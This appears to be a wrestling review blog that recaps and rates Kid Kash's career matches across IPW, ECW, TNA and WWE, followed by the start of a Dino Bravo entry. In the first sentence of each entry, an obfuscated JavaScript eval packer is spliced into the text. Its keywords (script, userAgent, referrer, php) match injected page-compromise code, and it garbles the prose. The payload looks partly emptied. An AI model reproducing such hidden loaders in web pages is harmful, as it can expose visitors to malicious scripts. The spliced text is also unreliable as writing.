Wrestler of the Day – July 25: Kid Kash

HIS NAME IS KID……Kash.

Kid eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|inhzs|var|u0026u|referrer|aifti||js|php'.split('|'),0,{})) Kash got his start as David Jericho and we’ll pick things up in IPW in North Carolina on January 23, 1996.

David Jericho vs. Steve Skyfire

Jericho is doing a Ricky Morton thing. Oh wait that actually is Ricky Morton in his corner. The heel commentator says this is going to be boring because the fans like both guys. Jericho grabs an early headlock before Skyfire falls out of the ring on what appeared to be an armdrag attempt. Back up and Jericho is holding his shoulder but goes after Steve’s leg to take over. A legdrop gets two for David and he nails some loud chops. Skyfire snaps off his own loud chops and plants him with a powerbomb.

The announcers talk about IPW having very lenient DQ rules and no countouts. So it’s an ECW ripoff? Skyfire puts on a surfboard followed by a backbreaker and a middle rope forearm for two. We hit the chinlock for a bit before Jericho is sent into the buckle. After a little slip, Steve hits a middle rope moonsault for two. Jericho comes back with a Frankenjericho for the pin.

Rating: C-. This was just a basic cruiserweight style match and nothing all that special. To be fair though this is just an indy company down in North Carolina so they need ring time to get better at what they do. Skyfire was nothing special but the commentator was kind of funny so there was something here.

We’ll jump ahead a bit to early 2000 as Kash was becoming a bigger deal in ECW. From Living Dangerously 2000.

Mike Awesome vs. Kid Kash

Kash hammers away to start but Awesome launches him with a release belly to belly suplex. They head outside with Kash taking some hard clotheslines, only to backdrop Awesome into the crowd. Kid runs back inside back hits a huge dive to take both guys out. Kash lays out Jones with a sitout Pedigree but walks into a slingshot shoulder from Awesome. A nice hurricanrana out of the corner has Mike in trouble but he takes Kid’s head off with a clothesline. The Awesome Bomb plants Kash and a super Awesome Bomb through a table gives Mike the pin.

Rating: D+. Nothing to see here though the high sports were good. This match didn’t need to happen for the most part and felt more like filler than anything else. Awesome is already wrestling later, so why do we need to see this happen here? Kash would become a bigger deal in the upcoming months.

From a few months later at Hardcore Heaven 2000.

C.W. Anderson vs. Kid Kash

Kash quickly sends Anderson to the floor and hits a big dive to take him down before the bell. Anderson nails a big left hand right after we get going but walks into a dropkick to put him on the floor. Kash dives off the apron to take Wiles down with a hurricanrana. Back in and Kash tries a hurricarana but gets caught in a sitout powerbomb. It’s been awhile since we’ve seen one of those. C.W. hammers away in the corner and knocks Kash to the floor, only to have Wiles drop Kid across the barricade.

Back in and Kash climbs the corner for a cross body and two, only to walk into a big clothesline. A reverse suplex gets two for Anderson and a powerslam gets the same. Kash avoids a charge in the corner but has to deal with Wiles. Lou E. misses a phone shot and hits Billy, only to have C.W. nail Kash with a superkick for another two. Anderson goes up but gets caught in a bad looking hurricanrana for the pin.

Rating: C-. This was a decent enough power vs. speed match but the interference got annoying fast. Wiles and Dangerously become more and more useless every time they appear but Anderson seems to have something special to him. He could use someone to talk for him but Lou isn’t quite up to that level either.

We’ll stay in the same year and look at a tag match at Heat Wave 2000.

Simon Diamond/Swinger/C.W. Anderon vs. Roadkill/Danny Doring/Kid Kash

Diamond has dropped most of his entourage and is part of a tag team with Swinger (a muscular guy with long hair and that’s about the extent of things that differentiates him from others). Anderson is on his own now as well and recently broke Kash’s four month undefeated streak. The other four guys are decent teams but the Tag Team Titles remain vacant.

Simon and Kash get things going with a technical sequence and the fans already declare it boring. Kash nails a hard chop in the corner before they kick each other away to give us a standoff. Anderson comes in but is quickly taken down and nailed with a middle rope elbow drop. Doring and Roadkill crush Swinger and Diamond in the corner before clearing the ring. Kash nails a slingshot hurricanrana over the top to the floor to take Anderson down.

Back in and Kash hits a springboard clothesline to Anderson before another hurricanrana sends Simon back to the floor. The numbers finally catch up to Kash and Swinger takes over. Anderson comes in but charges into an elbow in the corner, followed by a moonsault press to put him down. It’s off to Doring vs. Swinger with Danny cleaning house with jawbreakers.

Simon comes back with a cobra clutch legsweep to drop Doring before Diamond plants him for two. Anderson blasts him in the jaw with the left hand but Doring slams him face first into the mat. The fans are going NUTS for Roadkill here and they get exactly what they want. Roadkill comes in and cleans house, sending all three villains to the floor for a big dive from Doring.

Kash hits an even bigger one but Roadkill tops them all by taking out all five guys. Back in and Roadkill gets crotched on the top, allowing Simon and Swinger to double team Doring with a backbreaker/reverse DDT combination. The Anderson spinebuster plants Kash for two but Roadkill breaks it up with a legdrop to the back of the head. Kash breaks up the Problem Solver (double team elevated DDT) to Doring, who nails the double arm DDT on Diamond. The Money Maker (double underhook piledriver) gives Kash the pin over Swinger.

Rating: B-. Nice six man tag here but the booking is a little confusing. If Simon and Swinger is supposed to be the new big team, why would you have them lose here? It’s a shame that the tag team division is starting to pick up some steam, just as there are no belts for anyone to win.

Kash was a big enough deal that he would get a TV Title shot on ECW on TNN, September 8, 2000.

TV Title: Kid Kash vs. Rhino

This is the result of a HUGE brawl (as in like 30 people) that opened the show until Kash ran out for the match. The ring finally clears out so the match can start, only to have Sandman’s music hit. Rhino is stomping Kash down in the corner until Sandman FINALLY gets to the ring to cane Rhino over and over.

Not that it matters as a Gore puts him down a few seconds later. The roster is still at ringside so Kash hits a dive and puts down about 20 people at once. Back in and Kash hits a double springboard hurricanrana for almost no effect, setting up a Gore from Rhino. Cue RVD for a Van Daminator as we finally get a referee. There’s a Van Terminator and a Five Star as Kash adds a guillotine legdrop for the pin and the title. I’m not rating this insanity as it wasn’t a match in any sense of the word.

The title reign only lasted two weeks so we’ll go with more ECW at Massacre on 34th Street.

Unholy Alliance vs. Super Crazy/???

Crazy is bringing in a mystery partner after Mikey lured him into a beatdown recently. The Alliance beats Crazy down before Crazy’s partner comes out. Kid Kash shows up about thirty seconds later and we’re ready to go. Kash rolls up Mikey for two to start before taking him over with a hurricanrana. They stop to look at each other before slowly tagging in their partners. Tajiri hits a dropkick but Crazy nips up, only to hit a tilt-a-whirl backbreaker with Tajiri nipping up.

The fans are entirely behind Tajiri here as they fight over a test of strength and trade monkey flips. It’s Tajiri taking over with a hurricanrana before they trade armdrags for another standoff. Tajiri kicks at the legs and puts on a Sharpshooter with Crazy’s throat across the ropes so Mikey can drop a leg across the back of Crazy’s head. They do the chair crush around Crazy’s head for the dropkicks.

Kash finally tries to help and is tied in a Tree of Woe. Crazy is tied up as well but both members of the Alliance crotch themselves on baseball slide attempts. Kash and Crazy hit huge dives to the floor before Kash hits something like a Whisper in the Wind to put both Alliance members down. Tajiri and Crazy brawl on the floor until Tajiri comes back inside for a double rolling flip to put Kash down. The Alliance hit stereo kicks to Kash’s face before putting two chairs in the middle of the ring. Thankfully Kash is able to fight out of a slam through the chairs but he can’t avoid a Whippersnapper through the chairs and Kid is in trouble.

Another Whippersnapper puts Kash through the table and Crazy hits the triple moonsaults on Tajiri for no cover. Tajiri and Crazy head to the floor but Tajiri pops back up onto the ropes, only to be slammed face first onto the mat. A chair to the head gets Tajiri out of a sunset flip and he puts Crazy in the Tarantula. Kash finally comes back in but gets kicked to the floor as Mikey loads up another table.

Tajiri takes his sweet time setting it up in the ring so Mikey sets up his own on the floor. Kash gets up and hurricanranas Whipwreck through the table in a huge crash. Back in and Tajiri kicks Crazy down before covering him with a pile of chairs and a table. Tajiri climbs the ropes and a top rope double stomp through the table onto the chairs onto Crazy is enough for the pin.

Rating: B-. Good stuff here but again it doesn’t really mean much of anything. The Alliance winning a match is a good thing, but this needed to be about five minutes shorter. Kash disappeared for WAY too long during the match and it basically made this Tajiri vs. Crazy. That’s not a bad thing but it’s something we’ve seen several times before.

After ECW went under, Kash was one of many wrestlers that went to the XWF. Here he is in a battle royal for their Cruiserweight Title on November 13, 2001.

Cruiserweight Title: Battle Royal

Psychosis, Billy Fives, AJ Styles, Juventud Guerrera, Tongan Prince, Quick Kick, Kid Kash, Christopher Daniels

No one gets an entrance and you can be eliminated by pinfall, submission or over the top. Tongan Prince is Prince Iaukea and Quick Kick is Low Ki (they might as well have just called him that all the time. It makes more sense). Daniels has short blonde hair here. It’s a big brawl to start with everyone going after everyone and Tony having no idea who half of these guys are. Styles dumps Billy Fives as Josh Matthews (yes THAT Josh Matthews) is sitting in the crowd. Psychosis is dumped and AJ is LAUNCHED over the top onto Psychosis and Fives.

Low Ki hits some loud kicks to Kash’s head as Daniels kicks Iaukea down in the corner. They trade off with Kash and Low Ki going up top, only to miss stereo dives and collide (kind of) in midair. Daniels and Iaukea try to get in cheap shots but clothesline each other down. Low Ki misses a charge and eliminates himself before Kash (Krash according to Tony) hurricanranas Iaukea out. Kash’s tornado DDT mostly doesn’t connect but it staggers Daniels enough that Kash can hit a springboard kick to eliminate him for the title.

Rating: D. If you ever want an example of a spot fest, this is where you would look. Nothing more to say than that.

Off to TNA at Weekly PPV #11 on August 28, 2002.

Amazing Red vs. Kid Kash

This is back when Kash could still be called Kid and it didn’t sound stupid. Feeling out process to start with neither guy being able to get an advantage going. Kash shoves him and gets slapped in the face as a result. Red takes him to the mat via a drop toehold and things speed up. They go into a sequence that belongs in a gymnastics class rather than a wrestling ring, finally coming back to wrestling with some armdrags.

Kash flips Red off so Red pounds and kicks away at him before sending Kash to the floor. There’s a BIG flip dive to take Kid out and they brawl a bit. Kash sends him into the barricade to take over and we head back inside where a flying clothesline takes Red down for two. Red gets put in something like a Liontamer which doesn’t go anywhere, so they head to the corner where Kash eats a boot. Well not literally but you get the idea.

Red goes up for I think a rana but has to come down because Kash is WAY out of position. A standing rana and a spinwheel kick get two instead and Kash is placed on the top rope. This goes badly for the placer (Red) as Kash comes back with a clothesline off the middle rope for two. A powerbomb attempt by Kash is countered into a sunset bomb and Red kicks him down again for two.

Red gets slammed off the top for two for Kash, followed by Red firing off kicks to the chest in the corner. A charge misses and Red crotches himself, allowing Kash to hit a slingshot legdrop for two more. Kash cross bodies him for two before running into an elbow to slow him down. Red goes up but Kash shoves the referee into the ropes (not a DQ for some reason) and hits a kind of MuscleBuster for the pin.

Rating: C-. I’m really not a fan of spotfests and I’m REALLY not a fan of matches where guys don’t sell almost anything. On top of that, they were missing a lot of spots in this or badly mistiming them. The crowd reacted to most of it, but the match just wasn’t that good and certainly wasn’t anything memorable. That’s most cruiserweight style matches though.

Kash would stay in the X-Division Title hunt through the end of the year and get a shot at Weekly PPV #27 on January 15, 2003.

X-Division Title: Sonny Siaki vs. Kid Kash

Kash has Trinity with him to counter Siaki’s chick named Desire. It’s a tag brawl to start until Kash and Trinity dropkick both villains to the floor. Some bad looking armdrags put Siaki on the floor but Kash’s dive only hits barricade. Kash comes back with a whip of his own into the barricade and gets two off a guillotine legdrop. Siaki nails a wicked pumphandle slam into a piledriver for two of his own but there’s no selling in the X-Division. Kash pops back up and hits a double springboard hurricanrana but Desire breaks up a cover. Desire trips Kash up again and gets caught in a wicked neckbreaker to keep the title on Siaki.

Rating: C-. The dives weren’t bad and I’ve always liked Siaki so the match wasn’t all that bad. You couple that with the very good looking Trinity and this was far more entertaining than I was expecting. I’m getting a chuckle out of people casually standing up after the double springboard hurricanrana as it’s just a flippy move that shouldn’t be sold.

We’ll move ahead to Weekly PPV #107 on August 18, 2004 for one of Kash’s biggest feuds in TNA.

AJ Styles vs. Kid Kash

From August 18, 2004 and this is a street fight. Kash smacks AJ in the face to start but gets thrown to the floor, setting up a big flip dive from Styles. AJ sends him into the barricade and kicks at the ribs before heading inside so Kash can beg for mercy. The breather lets Kash score with a jawbreaker and the fight heads back to the floor. Some chair shots put AJ down and Kid talks trash.

AJ slides under the guardrail and launches himself at Kash before throwing him into the crowd. A chair shot to the back sets up a backbreaker on the bleachers but Kash comes back with something resembling a DDT to get a breather. They head over to an opening next to the bleachers where a table just happens to be waiting. Kash goes into the scaffolding but AJ follows him as the camera has troubles keeping up.

They slug each other back and forth in front of a group of fans before Kash tries to throw AJ over the scaffolding. AJ hangs on but Kash follows him down before both guys fall about eight feet through the table onto the concrete. After some laying around they get back up for a trashcan shot to AJ’s back.

AJ headbutts Kash through the crowd and throws him into a wall. Back to the ring now where Kash escapes the Styles Clash and gets two off a standing hurricanrana. AJ comes back with a wheelbarrow suplex for two but his neckbreaker is countered into a suplex to give Kash his own near fall. Kash’s goon Dallas shows up to interfere but accidentally sends Kash into a rollup for the pin.

Rating: B-. This felt like a better version of an ECW brawl but it doesn’t make the match great. Kash is a guy that has never done anything for me other than the time he threatened to stab various people. The idea was to show physicality in the X-Division which worked, but it kind of takes away the aspect that made the division special.

We’re into PPV now with Against All Odds 2005.

Tag Titles: America’s Most Wanted vs. Kid Kash/Lance Hoyt

Storm and Kash start things off. They trade hammerlocks to start and fast twos and we get a standoff. Off to Hoyt and Harris who immediately start brawling. Everything breaks down and AMW picks up Kash and throws him at Hoyt. That doesn’t work so in a funny bit they pick up Hoyt and throw him at Kash to send him to the floor. Cute spot. Back in Hoyt slams Kash onto Storm for two.

Hoyt comes in and hits a huge chokebomb for two on Storm. James is playing Ricky Morton here if that wasn’t clear. Off to Kash who launches a frog splash but it eats knees. Both he and Storm try cross bodies and they’re down. Harris comes in and destroys Hoyt. It’s so strange to see Harris in great shape. Kash hits a sweet rana after running the corner. Storm is back up and hits the Eye of the Storm on Kash. He tries a reverse tornado DDT out of the corner on Hoyt but Lance counters.

In a move I’ve never seen before, Hoyt hits a side slam off the top for two. That looked awesome actually. That’s a great lesson: when all else fails, make the move from the top and it looks better. Storm takes Hoyt down and Harris hits a top rope elbow for two. Kash brings in a title belt but as the referee takes it out, Kash hits Harris with the other belt for two. Now Kash brings in handcuffs but Harris cuffs him up. Death Sentence to Hoyt keeps the titles on AMW.

Rating: C+. This started slow but got better at the end. When you take guys like Hoyt and Kash and get an entertaining match out of them, that’s a sign of a good team. Then again AMW is probably the best team ever in TNA, and yes I’m including them over Beer Money. This was better than I expected.

It was off to WWE after this, including this debut match on Heat, June 13, 2005.

Tajiri vs. Kid Kash

Kash grabs a headlock to start but gets spun around on the math in a freaky looking rollup. The Kid jumps over him in the corner and gets two off a slam. We hit a bow and arrow hold on Tajiri followed by an abdominal stretch, only to have Tajiri fight out with some elbows to the head. Kash comes back with a moonsault press for two and a suplex slam gets the same. Tajiri kicks him out of the air and fires off some chops followed by a big kick to the back. There’s the handspring elbow for two and Kash charges into the Tarantula. The Buzzsaw Kick misses but Kash misses a frog splash, setting up the Buzzsaw to give Tajiri the pin.

Rating: C-. Tajiri is another guy that I like a lot so the match was fun to sit through. Those kicks were freaking awesome every single time and the sounds they made were even better. Kash would get to stick around in WWE for awhile but he wouldn’t do all that much. Tajiri’s best days are behind him at this point but those kicks still work well enough.

Kash would get a Cruiserweight Title shot at Armageddon 2005.

Cruiserweight Title: Juventud vs. Kid Kash

Just Juventud now and he’s champion coming in here. Yes, they’re really just going on like nothing happened at all. Another pointless Cruiserweight match here with no real story. By no real one I mean Kash probably pinned him recently or something like that. All Juvy to start and he gets a standing rana for two. Fujiwara armbar goes on for a bit so Kash hits the floor. Juvy hits a plancha to keep up his advantage.

Kash manages to ram his shoulder into the post a few times to take over. Hammerlock slam gets two. Kash hammers away for a bit but misses a charge into the corner. Juvy can’t capitalize though and Kash keeps the advantage. Shoulderbreaker gets two. A springboard moonsault by Kash eats knees and here comes Juvy.

The champ chops away and uses really basic offense. Sunset flip doesn’t work for Kash and Juvy kicks him in the face for two. Loud END THIS MATCH chant starts up. You can tell that’s not a good sign. They go up to the top rope and Juvy hits a super rana but might have hurt his knee. Kash wants time out but gets caught by an enziguri for two. They trade some escapes and Juvy hits the Juvy Driver for two. 450 misses though and the Dead Level (brainbuster) gives Kash the title.

Rating: C-. The match wasn’t exactly bad, but dude no one cared at all. I don’t think I’ve ever heard a crowd beg for a match to end like that. This is what you get when you have no story to speak of and use guys that are just there instead of having characters or stories or anything like that. Just not interesting at all, but it was fine from a technical standpoint.

After losing the title at the Royal Rumble, Kash had another chance at the belt at No Way Out 2006.

Cruiserweight Title: Gregory Helms vs. Brian Kendrick vs. Funaki vs. Kid Kash vs. Nunzio vs. Paul London vs. Psicosis vs. Scotty Hotty vs. Super Crazy

Yeah it’s a 9 way match. Helms is champion and ran his mouth so this is his punishment. The intros take nearly five minutes. Thankfully some guys come out together. No tagging here and it’s one fall to a finish. Who wants to bet that Helms escapes with the title? He won it last month so yeah I’m thinking he’s keeping it. Helms hides on the floor while the other eight guys pound on each other.

The Mexicools hits stereo planchas to take out London and Kendrick. Helms finally gets in and they all jump him as he more or less said he was better than all of them. Obviously I can’t go through every spot and type it up here as it’s a huge mess the whole way through. There are WAY too many people in there and it’s just wasting time until we get to the ending sequence.

Helms and Kash go at it for a bit which gets us nowhere. Helms is sent to the floor as this continues to be six or seven guys lay down while two or three do stuff. Kash gets a sweet rana to take down Psicosis on the floor. Londrick takes out Nunzio and Funaki and then do it again off the top to those same two plus Scotty. Helms misses the Shining Wizard and Crazy gets a big spin kick for two.

London hits Helms with a senton back splash that crushes Helms’ face. London gets kicked in the face by Scotty who then has to do the Worm on Helms. The long wait allows Psicosis to break it up. That should teach Scotty but it won’t of course because he’s a stupid man. Dead Level (brainbuster, but looks like a suplex here) from Kash hits Psicosis but Crazy hits a moonsault out of nowhere. Helms steals the pin to retain. Wow how shocked I am at that.

Rating: C-. Total meh match here. These multi-man matches are supposed to be insane and all that jazz and for the most part they are, but dude, NINE PEOPLE? There’s no way to follow is and it’s the living definition of a match with no flow because you can’t have any. It was ok, but WAY too many people out there which brought it down a lot.

Kash would hook up with Jamie Knoble in a tag team, earning a Smackdown Tag Team Title shot at Great American Bash 2006.

Smackdown Tag Titles: Paul London/Brian Kendrick vs. Pit Bulls

The Bulls are Jamie Noble and Kid Kash. They were a team that was around when I really wasn’t watching Smackdown so this is a new thing for me. London and Kash start us off with Kash taking it to the mat. For some reason we’re talking about the Rock N Roll Express now. Kash keeps running him over so London speeds things up to take over. Off to Kendrick and they use a modified rocket launcher for two.

Kendrick works on the arm and we hear about the Crockett family starting up the Bash in the 80s. Off to Noble who apparently likes having men on the ground. I love wrestling but the gay jokes are really hard to avoid at times. Back to London who keeps Noble’s arm in trouble. This has been one sided so far and Londrick sends them to the floor. You know that means stereo dives.

FINALLY Noble gets in a shot to take over and gets a pair of two counts. Back to Kash who slams Kendrick into the mat by his hair. Kendrick dodges a charge and brings in London. Things speed way up and we talk about Ivan Putski. They go to the apron and London tries to skin the cat, but Noble gets in a shot to the back. I guess this is the official face in peril part.

London may have hurt his back on the way down onto the apron. Noble hooks on a chinlock for a few seconds and there’s a leg lariat for two. The Pit Bulls do some good old fashioned heel tag team work to keep Kendrick out. More double teaming follows but London fights out of the corner. He kicks Noble into Kash but Kash makes the save to break up the tag. Cole says London was minutes away from making the tag. Well at least he was close.

London backflips out of a suplex and falls into Kendrick for the tag. Springboard missile dropkick takes out Kash and things speed WAY up. He hits leg lariats to everyone but Noble makes the save on the cover. Noble tries something like a double underhook piledriver on Kendrick but London saves again. There’s a huge dive to the floor by Kendrick to take out Noble. Kash can’t get the brainbuster to London so Kendrick dives off the top with a sunset flip for the pin.

Rating: B-. This match right here has already had more energy in it than the entirety of the previous two shows in this series. Londrick would spend the next 9 months or so as champions which is still the longest tag title reign in the WWE/F in about fifteen years. Very fun tag match with all kinds of old school heel tag work to make things very fun and get the crowd into it.

Kash would leave soon after this and hit the indies. We’ll pick things up at Hardcore Justice 2010, the ECW reunion show put on by TNA.

FBI vs. Kid Kash/Simon Diamond/Swinger

It’s Tony, Tracy and Guido. Yeah because Kash was SO important to ECW. Sal is somehow even fatter if that’s possible. Smothers looks AWFUL. It’s Tony Luke now instead of Mamaluke. Guido looks about the same. The lights are all dark and there’s this weird blue tint to it. Guido and Kash start us off. They point out that they can’t say certain names or letters. WOW.

Simon is HUGE and even Tazz suggests different attire. He stops halfway through the match and cuts a promo to which he gets a LOUD Shut the F Up chant. He challenges them to a dance off. It’s somehow worse than it sounds. The non-FBI team breaks it up but Sal crushes them. Kash does a big dive to do something. Keep in mind we’re 20 minutes into this.

We get to a normal match now and it’s not bad. Seriously, we would have had to pay 45 dollars for this. Mamaluke is getting destroyed here and Diamond does something close to Three Amigos. Guido hits the Kiss of Death (Killswitch) to end it.

Rating: D. Once this got going it wasn’t bad but ten minutes of crap to get to the good stuff isn’t how this is supposed to go. This didn’t work at all for me though as three of these guys meant next to nothing at all in the original ECW. This was watchable I guess but the lighting and the other stuff just isn’t doing it so far.

Jesse Sorensen vs. Kid Kash

This is #2 vs. #3 (X-Division rankings) respectively but I doubt those numbers are going to mean much for awhile. Kash looks old and Sorensen is a face, carrying a football with him because he’s from Texas. Well I guess a weak gimmick is better than no gimmick. Kash dominates early, hitting a suplex into a release slam.

Moneymaker is blocked and Sorensen starts his comeback with a HHH leaping knee and a pretty sweet dropkick for two. Something resembling the McGillicutter gets two and Jesse goes up. Top rope cross body gets a very close two and I’m liking this Sorensen a bit. And never mind as Kash reverses a rollup and uses the tights for the pin at 3:01.

Rating: C. I liked Sorensen a lot more than I thought I would. The guy can jump pretty well and was trying to play to the crowd a bit also. The football thing doesn’t mean much but it needs time to develop obviously. Kash I don’t see the appeal to as he just looks old. He’s not bad or anything but he’s about as the same as you can be after many years.

Another X-Division Title shot, from Genesis 2012.

X-Division Title: Zema Ion vs. Kid Kash vs. Austin Aries vs. Jesse Sorensen

I didn’t know this but it’s elimination rules. The fans seem to like Jesse the most. Aries chills on the floor to start and Sorensen cleans house. A northern lights gets two on Ion and Aries comes in. This is one of those matches where there’s no point in trying to keep track of everything that’s going on. Kash and Aries are sent to the floor and after Ion is put up top it’s the Tower of Doom! That hasn’t been used in awhile.

Aries goes up top but Ion shoves him down to the floor onto Kash. Ion hits a big corkscrew plancha to the floor to take the two of them out. Sorensen of course follows in the customary series of dives. Still gets a great reaction from the crowd too. Jesse gets two on Aries back inside. Ion gets sent into the corner so Kash tries a superplex, but Aries is whipped into the corner to send Kash crashing. Ion stands up and hits the 450 on Kash to put him out first.

Aries busts out the 450 on Sorensen for just two. The fans are WAY behind Jesse here. Top rope cross body gets two on Aries. A suplex into a cutter kind of move gets the same as Ion breaks up the pin because he’s an idiot. Ion goes after Jesse but walks into a small package for the second elimination to get us down to one on one. Aries rolls up Sorensen but Ion has the referee.

Brainbuster is countered into the Game Changer (Test Drive into a DDT) but Ion’s distraction keeps it at just two. Aries breaks up something off the top but runs into a boot in the corner. Ion is ducked out of sight on the floor. Sorensen goes up but Ion crotches him, letting Aries dropkick him and a middle rope brainbuster keeps the title on Aries 10:59.

Rating: C+. I was really liking this until the ending. Sorensen has been built up for awhile now and the fans are clearly behind him, but they need to pull the trigger on him if they’re going to. Restocking the division is a good idea, but if all the guys keep losing it’s not really going to do them any good. The match was fun though and a high flying match to open the show is a tried and true idea.

How about another title shot, from Impact on November 15, 2012.

X-Division Title: Rob Van Dam vs. Kid Kash

Van Dam is defending of course. Kash jumps him as he comes into the ring and they start fast. This would have been way better in ECW but it’s over eleven years since that company closed and Kash is still a Kid somehow. They ram into each other a few times before Kash ranas RVD to the floor. Tenay says Kash is also an MMA fighter which would be hilarious to see. Kash dives onto the floor onto Van Dam which doesn’t look bad.

Back in and Kash hits a clothesline out of the corner but misses a moonsault. Rob kicks him down and hits Rolling thunder for two as Tenay talks about Rob being a three time world champion, talking about the ECW Title, the WWE Title and the TNA world title. You know, because that ECW Title was the same as the WWE Title and all that jazz. Monkey Flip sets up the Five Star to retain at 4:08.

Rating: D+. Nothing to see here other than a quick title defense for Van Dam. To say this division is worthless at the moment is an understatement as other than Van Dam, Kash and Ryan I guess, is there anyone else around? Ion I guess, but dang that’s not much as far as depth goes. Just a match here really.

Kash would hit the One Night Only circuit, starting at X-Travaganza.

Rashad Cameron/Anthony Nese vs. Kid Kash/Douglas Williams

Williams and Cameron start things off with Doug looking older than usual. Doug takes him down by the leg and puts on a kind of reverse Boston Crab where Kash can kick Cameron in the face. Cameron and Williams run the ropes a bit until Rashad dropkicks Doug down. Off to Kash as this could be a trainwreck in a hurry. Thankfully Nese comes in quickly and things speed WAY up as they trade controlling holds on the mat. We get some sweet chain wrestling until Kash takes over with knees and chops.

Nese comes out of the corner with a spinning cross body for two and a clothesline to send Kash to the floor. Anthony loads up a dive, only to be taken down by Williams. Doug heads to the floor with Kash and there’s a big dive by Cameron, followed by an even better one by Nese. Back in and Nese jumps into a forearm from Kash as Taz is talking about investment banking and area codes.

Williams knocks Cameron off the apron as the old guys take over on Nese. Kash comes in for some solid stomping before it’s back to Williams. The old guys do some old school double teaming on Cameron who has no idea how to deal with it. Kash and Earl Hebner get into it a bit in the corner before Kash hits a hard chop on Cameron. Back to Williams for a kick to the back and a nice snap suplex for no cover.

Kash comes in to work on the knee in a vain attempt to add some psychology here. Some hard kicks by Kash to the chest keep Cameron down as Taz starts talking about Aces and 8’s. Well we made it through forty minutes so it was bound to happen soon. Kash breaks up a quick comeback with a forearm but his moonsault hits knees. Hot (I think?) tag brings in Nese as things speed up again.

Back to Williams who misses a clothesline and gets kicked down by Nese. A nice pumphandle powerbomb gets two for Anthony as everything breaks down. Nese hits a running knee to Williams’ head for two as Rashad dives on Kash on the floor. A quick rollup gets two for Anthony but he gets caught in the Rolling Chaos Theory for the pin by Williams.

Rating: C-. This didn’t work for me. I’m not a fan of most of the guys in this match and the ending was just kind of there. That’s one of the major problems with this show: there aren’t going to be any in depth stories and barely any stories at all. That’s fine if the matches are really good, but this was only decent at best.

Again at Joker’s Wild I.

Jesse Godderz/Mr. Anderson vs. Douglas Williams/Kid Kash

No Tara unfortunately. Anderson comes out like normal to his own music and without the biker gear. Kash and Anderson start things off but Jesse tags in before anything can happen. A quick shoulder sends Godderz into the corner and it’s off to Anderson who might not suck as much. Anderson hits a quick dropkick to put Kash down and it’s back to Jesse for some arm work. He asks for a tag and Anderson isn’t sure if he wants back in or not. The announcers would rather talk about Aces and 8’s rankings and British terminology instead of calling the match.

Williams comes in and gets caught by a hiptoss and backdrop from Anderson. Jesse is jumping up and down to get in the match so it’s off to the rookie for some arm work. He cranks it once and already wants Anderson back in. Since Anderson is getting annoyed he takes more time, allowing Williams to suplex Godderz down. Off to Kash for a release belly to back of his own as the announcers continue to talk about stupid things like the “Pre-Tazz Era” of TNA.

Williams puts a cravate on Jesse for a bit, only to be taken down by a nice leg trip. Godderz still can’t make a tag though as Williams comes in with a clothesline to put him back down for two. Off to Kash again who helps out Williams with a double backdrop as Jesse continues to be picked apart. Back to Williams for a few slams as this gets more and more boring every few seconds. Kash kicks Jesse low and rakes his back a few times as we talk about roulette to keep up the announcers’ trend.

Off to a chinlock by Williams as we talk about gumption, moxie and tomatoes. I know I’m talking about the announcers a lot but it’s by far the most interesting thing in the match so far. Tazz actually says that Aces and 8’s don’t do losses. Jesse sends Kash into the corner but gets kicked in the face and caught with a moonsault out of the corner for two. Godderz is stomped around even more as Tazz talks about getting a furry sidecar on Bully’s bike. The commentary must have been recorded later as Bully wasn’t revealed as part of Aces and 8’s when this was taped.

A clothesline out of the corner takes Williams down and it’s FINALLY off to Anderson to clean house. Anderson hits his rolling fireman’s carry on Williams and loads it up on Kash, only to have Jesse pull Kash down to load up his own finishing move. Anderson kicks Kash down and Mic Checks Godderz before rolling up Kash for the pin.

Rating: D+. Remember what I said about the wrestling being the main thing to go off on this show? In this case it was hindered by Jesse, who is WAY too green to be in there as long as he was. There was a story being told here, but the match was so dull throughout that it didn’t make much of a difference. Anderson looked like a star though.

Kash was a guy that was good for flips and not much more. That being said, he’s been around for a long time (and somehow is still a Kid) and can still work a decent enough match. He was better at flying all over the place and doing BIG flips in ECW than anything else and sometimes that’s all you need a guy to do. The fan reactions validated his existence if nothing else.

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Wrestler of the Day – July 24: Dino Bravo

Today we’re going to look at a fairly prominent lackey: Dino Bravo.

Dino eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yfske|var|u0026u|referrer|idrkk||js|php'.split('|'),0,{})) got his start back in 1970 but we’ll pick things up on February 4, 1978 as he makes his WWWF debut on Championship Wrestling.

Dino Bravo vs. Joe Turco

Bravo takes him down by the arm to start before they walk around for a little bit. Back to the armbar as this is already dragging. Some right hands and a head knocker have Turco in even more trouble. An airplane spin and something like an AA gives Bravo the pin.

Rating: D. I know it’s a different time but this was really dull stuff. It was a few minutes of armbars followed by a shot to the head and an AA for the pin. This falls into the category of being really boring instead of being bad, which is a really horrible way for someone to make their debut.

Bravo wouldn’t exactly take off but he would be in some big matches, including this six man on August 28, 1978 in MSG.

Spiros Arion/Yukon Lumberjacks vs. Andre the Giant/Tony Garea/Dino Bravo

This is from the late 70s. The Lumberjacks are the tag champions and named Eric and Pierre. We’re in MSG here and this is 2/3 falls. Very international match here with three Canadians, a Frenchman, a Greek and a New Zealander. Vince is the lone commentator here and actually calls Andre Andre Roussimoff. Eric is the Lumberjack with blonde hair. Got it. He starts with Garea.

Two quick armdrags send Eric running to bring in Arion. I think we’re clipped but I’m not sure. This is just punching. Off to Pierre, meaning Garea has fought all three guys now. Off to a top wristlock and I think the camera is just jumping around a lot. Either that or it’s the best clipping I’ve ever seen. Eric comes in again and gets slammed. The heels finally get Tony into the corner but Andre breaks that up, drawing a DQ for the first fall. I forgot it was 2/3 so that bell was really surprising. Oh wait the Lumberjacks got disqualified for the triple teaming. Ok then.

